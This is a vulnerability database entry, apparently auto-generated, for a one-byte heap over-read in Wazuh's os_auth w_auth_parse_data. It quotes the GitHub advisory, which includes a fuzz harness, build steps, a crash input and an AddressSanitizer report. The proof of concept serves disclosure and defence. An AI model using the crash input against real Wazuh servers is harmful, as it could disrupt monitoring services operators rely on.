Heap buffer overflow in wazuh-authd
Key facts
- Attack vector
- Network
- Privileges required
- Low
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- No fix listed
Attack profile from CVSS 3.1 · GHSA-grjq-p5fg-m24r. Fix status from GitHub.
Summary
Wazuh os_auth, from 3.5.0 to 4.3.10, has a heap buffer overflow in w_auth_parse_data that reads one byte past a heap allocation (CWE-125). A remote attacker with low privileges and user interaction can trigger it, with a low impact on availability.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary Heap-buffer overflow could lead to malforming a data that stored on heap. ### Details Source code to check the vulnerability (fuzz.c) ``` #include <shared.h> #include <stdio.h> #include "auth.h" #include "defs.h" #include "os_err.h" #include "string_op.h" #include "wazuh_db/helpers/wdb_global_helpers.h" #include "wazuh_db/wdb.h" #include <limits.h> #include <stdlib.h> #include <string.h> extern w_err_t w_auth_parse_data(const char* buf, char *response, const char *authpass, char *ip, char **agentname, char **groups, char **key_hash); int main(int argc, char *argv[]) { //Read File FILE *f = fopen(argv[1], "rb"); fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); /* same as rewind(f); */ char *buf = malloc(fsize + 1); fread(buf, fsize, 1, f); fclose(f); buf[fsize] = 0; char response[2048]=""; char ip[15]="192.0.0.1"; const char *authpass="agent1"; char *agentname="hostname"; char *groups="GROUP 1, GROUP2";; char *key_hash="adsadafdfv"; w_auth_parse_data(buf,response,authpass,ip,&agentname,&groups,&key_hash); free(buf); } ``` Asan_Report: ``` ================================================================= ==3704469==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000005e at pc 0x000000431c09 bp 0x7ffe19e05fd0 sp 0x7ffe19e05770 READ of size 1 at 0x60600000005e thread T0 #0 0x431c08 in strncmp (/wazuh/src/os_auth/auth_fuzz+0x431c08) #1 0x4c8859 in w_auth_parse_data /wazuh/src/os_auth/auth.c:156:9 #2 0x4c6367 in main /wazuh/src/os_auth/fuzz.c:43:2 #3 0x7fd5311af082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #4 0x41e04d in _start (/wazuh/src/os_auth/auth_fuzz+0x41e04d) 0x60600000005e is located 1 bytes to the right of 61-byte region [0x606000000020,0x60600000005d) allocated by thread T0 here: #0 0x49678d in malloc (/wazuh/src/os_auth/auth_fuzz+0x49678d) #1 0x4c60fa in main /wazuh/src/os_auth/fuzz.c:26:21 #2 0x7fd5311af082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) SUMMARY: AddressSanitizer: heap-buffer-overflow (/wazuh/src/os_auth/auth_fuzz+0x431c08) in strncmp Shadow bytes around the buggy address: 0x0c0c7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c0c7fff8000: fa fa fa fa 00 00 00 00 00 00 00[05]fa fa fa fa 0x0c0c7fff8010: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd 0x0c0c7fff8020: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c0c7fff8030: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa 0x0c0c7fff8040: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd 0x0c0c7fff8050: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==3704469==ABORTING ``` ### PoC Bulild wazzuh with next flags: ``` CC=clang CFLAGS="-g -fsanitize=address" LDFLAGS="-g -fsanitize=address" ``` Compress an objects into archive static.a: ``` ar rcT static.a $(find /wazuh -name "*.o" ``` In directory os_auth build fuzz.c: ``` clang -g -fsanitize=address -pthread fuzz.c -I /wazuh/src/headers/ -I /wazuh/src/ -I /wazuh/src/external/bzip2/ -I /wazuh/src -I /wazuh/src/external/openssl/include/ ../static.a -ldl -o auth_fuzz && ./auth_fuzz example ``` Write this input into crash_file: ``` OSSEC PASS: agent1 OSSEC A:'agent4' G:'Group1,Group2,Group1a ``` Run: ``` ./auth_fuzz crash_file ``` ### Impact Memory corruption. It's affecting wazuh agent
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | os_auth | from 3.5.0 to 4.3.10. | — | No fix listed | GHSA-grjq-p5fg-m24r |
- os_auth Vendor— Affected from 3.5.0 to 4.3.10. Fixed in — No fix listed GHSA-grjq-p5fg-m24r
Remediation
The sources list no fixed version for os_auth.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Timeline
- 2026-11-12 Threatist record created from GHSA-grjq-p5fg-m24r
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences